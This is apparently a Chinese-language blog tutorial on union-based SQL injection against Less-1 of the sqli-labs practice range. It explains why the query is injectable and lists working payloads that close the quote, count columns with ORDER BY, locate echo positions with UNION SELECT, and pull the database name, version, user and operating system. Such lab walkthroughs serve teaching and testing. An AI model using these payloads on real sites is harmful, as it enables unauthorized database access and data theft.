前言:在SQL注入讲解的前期,我们先使用最经典的sqli-lab靶场进行分析
一、源码分析:Less-1 的注入点与联合查询基础
1. 页面功能与请求链路
- Less-1 是一个 GET 请求页面,参数为
id。 - 后端接收
id后直接拼接 SQL,无过滤、无预处理。 - 查询成功时回显:
Your Login name: ...Your Password: ...
- 查询失败时输出
mysql_error(),可辅助报错注入。
2. 关键源码解读
核心代码:
要点:
- 页面只回显
username和password,id不回显。 LIMIT 0,1和mysql_fetch_array都只取第一行,影响联合查询的利用方式。
3. SQL 模板拆解
实际 SQL 结构:
SELECT*FROMusersWHEREid='$id'LIMIT0,1注入时需要:
- 闭合前面的单引号
- 构造自己的 SQL 逻辑(文章0x0002我们只了解了可以闭合后构造自己的语句,这篇文章我们将展示具体操作)
- 注释掉后面的
' LIMIT 0,1
例如:
?id=-1' UNION SELECT 1,2,3--+拼接后:
SELECT*FROMusersWHEREid='-1'UNIONSELECT1,2,3-- ' LIMIT 0,14. 判断闭合方式
和文章0x0002方法相同,我们发现单引号改变了SQL语句的逻辑,现在再补充一种复核的方法,继续测试:
?id=1'--+
页面恢复正常,说明注释符生效,成功闭合。
5. 联合查询为什么能打
原 SQL 是SELECT查询,页面有明确回显位,因此可以使用UNION SELECT。
联合查询条件:
- 原查询必须是
SELECT且两个SELECT的列数必须相同。 - 对应列的数据类型最好兼容。
- 页面必须有回显位。
- 最好让前半段查询无结果,这样联合查询的结果才能优先显示。
6. Less-1 联合查询完整实操流程
6.1 判断列数
方法一:ORDER BY
?id=1' ORDER BY 3--+
正常。
?id=1' ORDER BY 4--+
ORDER BY是指按照某一列排序,如果该列不存在则会报错,说明列数为 3。
方法二:直接UNION SELECT
?id=1' UNION SELECT 1,2,3--+
如果列数不匹配,会报:
The used SELECT statements have a different number of columns6.2 确定回显位
?id=-1' UNION SELECT 1,2,3--+
页面显示:
Your Login name:2 Your Password:3说明第 2、3 列是回显位。
注意:
- 为什么用
-1?- 让
WHERE id='-1'查不到数据,前半段为空。 - 这样联合查询的结果才会被
mysql_fetch_array取到。
- 让
- 如果写成
?id=1' UNION SELECT 1,2,3--+,前半段有结果,页面可能只显示 id=1 的用户。
6.3 获取当前库、用户、版本、操作系统
?id=-1' UNION SELECT 1,database(),version()--+?id=-1' UNION SELECT 1,user(),@@version_compile_os--+
观察回显:
database():当前数据库名。version():MySQL 版本。user():当前数据库用户。- @@version_compile_os :当前数据库操作系统
7. 源码缺陷总结
SELECT *+ 固定回显位,使联合查询非常直观。LIMIT 0,1和mysql_fetch_array只取第一行,但可通过-1让联合结果优先显示。
8. 与 sqli-labs 其他关卡映射
- 分析Less-2、Less-3、Less-12源码,尝试使用联合查询获取当前库、用户、版本、操作系统。
9.现代网站应用场景:和闭合手法情况相似,参考文章0x0002
后记:大多数讲解联合查询的课程都会一起讲information_schema元数据的内容,但是个人认为这对于新手来说冲击会比较大,所以决定把内容分为两次文章来讲解。希望各位业内的老师傅能纠正文章的错误
(非商业用途,仅供交流学习,禁止转载)